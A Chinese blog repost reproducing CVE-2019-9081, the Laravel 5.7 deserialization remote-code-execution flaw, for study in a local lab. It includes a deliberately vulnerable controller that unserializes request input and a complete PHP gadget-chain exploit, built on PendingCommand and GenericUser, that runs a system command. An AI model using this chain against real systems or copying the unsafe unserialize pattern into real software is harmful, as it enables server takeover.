IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CVE-2019-9081--laravel5.7 反序列化漏洞复现 -> 正文阅读

[PHP知识库]CVE-2019-9081--laravel5.7 反序列化漏洞复现

目录???????

简介:

环境部署:

分析:

参考文章:


简介:

和yii一样,Laravel也是一套简洁、优雅的PHPWeb开发框架(PHP Web Framework)。

?在laravel框架中没有找到合适的触发点,因此需要对基于laravel v5.7框架进行二次开发的cms进行再次审计,寻找可控的反序列化点,才能触发该漏洞。

环境部署:

去github上下载文件:

https://github.com/laravel/laravel/tree/5.7

下载的文件放在phpstudy的WWW目录下,由于没有vendor目录,需要在根目录执行命令:

composer install

我们需要自己构造一个漏洞demo,用作poc的验证。?

?构造一个反序列化的利用点,在routes/web.php里面加一条路由:

Route::get('/unserialize',"UnserializeController@uns");

在App\Http\Controllers下面写一个控制器UnserializeController.php文件:?

<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    public function uns(){
        if(isset($_GET['c'])){
            unserialize($_GET['c']);
        }else{
            highlight_file(__FILE__);
        }
        return "uns";
    }
}

分析:

使用的poc:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

在laravel v5.6和laravel v5.7的vendor/laravel/framework/src/Illuminate/Foundation/Testing文件夹中

可以发现,v5.7版本多了一个PendingCommand.php文件,这个文件的主要功能是用作命令执行,并且获取输出内容。

查看PendingCommand.php文件内容,发现:

PendingCommand.php文件定义了PendingCommand类,该类存在__destruct方法,大牛说过,__destruct永远是反序列化漏洞的最佳攻击点。因为$this->hasExecuted默认是false的,所以可以直接进入run方法。

跟进run()方法:

run方法的头顶的注释中,赫然写着Execute the command.。

发现一行代码(目的代码):

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

其中app、command和parameters是我们可控的,

?那么攻击思路就很明显了,通过反序列化触发PendingCommand类的__destruct析构函数,进而调用其run方法实现代码执行。

$this->app;         //一个实例化的类 Illuminate\Foundation\Application
$this->test;        //一个实例化的类 Illuminate\Auth\GenericUser,用于返回一个数组。
$this->command;     //要执行的php函数 system
$this->parameters;  //要执行的php函数的参数  array('id')

?但是在进入我们所需要的目的代码时会先经过 $this->mockConsoleOutput();

跟进$this->mockConsoleOutput():

?使用Mockery::mock实现对象模拟,代码看不懂,跟着feng师傅操作一下:

先构造poc

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public function __construct(){
            $this->command="phpinfo";
            $this->parameters[]="1";
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

报错:

Trying to get property 'expectedOutput' of non-object

打一下断点,发现是mockConsoleOutput()方法的这里:

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
    (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);

跟进$this->createABufferedOutputMock()

?又使用Mockery::mock实现对象模拟?,其他的不重要,看foreach里面,要求获取$this->test这个类中的expectedOutput属性,并且遍历该属性。报错的原因就是因为$this->test没有expectedOutput这个属性,跟进一下这个属性,发现这个属性在trait InteractsWithConsole中,而trait类我们没法实例化,在其他我们可以实例化的类中,也没有一个类存在expectedOutput属性,此外就只有一些测试类有这个属性,因此这里就卡住了。

但我们仔细看看这段代码会发现,我们的目的只是走通这段代码,顺利执行,不报错,不产生异常就行。我们需要的只是一个返回内容而已,只要有返回内容,使得代码进入循环流程我们便能走通这段代码。我们发现这里只要能够返回一个数组代码就可以顺利进行下去。同时,this->test我们可控

并且:?

读取不可访问属性的值时,__get()?会被调用。

?因此我们可以利用__get魔术方法来返回我们需要的内容。全文搜索__get()方法

这里选取的是Illuminate\Auth\GenericUser

地址:

vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php

?这个attributes是我们可控的,因此我们可以构造$this->attributes为下标名expectedOutput的数组。把$this->test反序列化的时候设置为GenericUser类,这样一来$this->test->expectedOutput就等于GenericUser->expectedOutput,因为GenericUser这个类没有expectedOutput变量,那么就会调用他的__get()方法,因为调用,所以$key='expectedOutput',那么会返回$this->attributes中下标名为expectedOutput的数组。$this->createABufferedOutputMock()的代码也就顺利走通了。

$this->attributes['expectedOutput']=['hello','world'];

回到PendingCommand类的mockCOnsoleOuptput方法当中:

?我们发现foreach这段代码有着类似的语句,使用和$this->createABufferedOutputMock()同样的绕过办法,在$this->attributes中定义下标名为expectedQuestions的数组即可。?

$this->attributes['expectedQuestions']=['hello','world'];

这样我们就能顺利地把$this->mockConsoleOutput()走通了。

回到我们的目的代码:

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

剩下的关于this->app[Kernel::class]的知识,现在还不太理解,下次一定解决:

在走通$this->createABufferedOutputMock()代码的时候还可以用DefaultGenerator.php中的DefaultGenerator类。

地址:

vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php

因为$default可控,因此我们可以构造$this->default下标名expectedOutput的数组。把$this->test反序列化的时候设置为DefaultGenerator类,这样一来$this->test->expectedOutput就等于DefaultGenerator->expectedOutput,因为DefaultGenerator这个类没有expectedOutput变量,那么就会调用他的__get()方法,因为调用,所以$attribute='expectedOutput',那么会返回$this->default中下标名为expectedOutput的数组。$this->createABufferedOutputMock()的代码也就顺利走通了。

参考文章:

laravelv5.7反序列化rce(CVE-2019-9081) | WisdomTree's Blog

??????laravel5.7 反序列化漏洞复现_feng的博客-CSDN博客

Laravel5.7反序列化RCE漏洞分析_zhangchensong168的博客-CSDN博客_laravel漏洞

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-29 10:00:59  更:2021-09-29 10:01:16 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年2日历 -2025/2/27 13:21:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码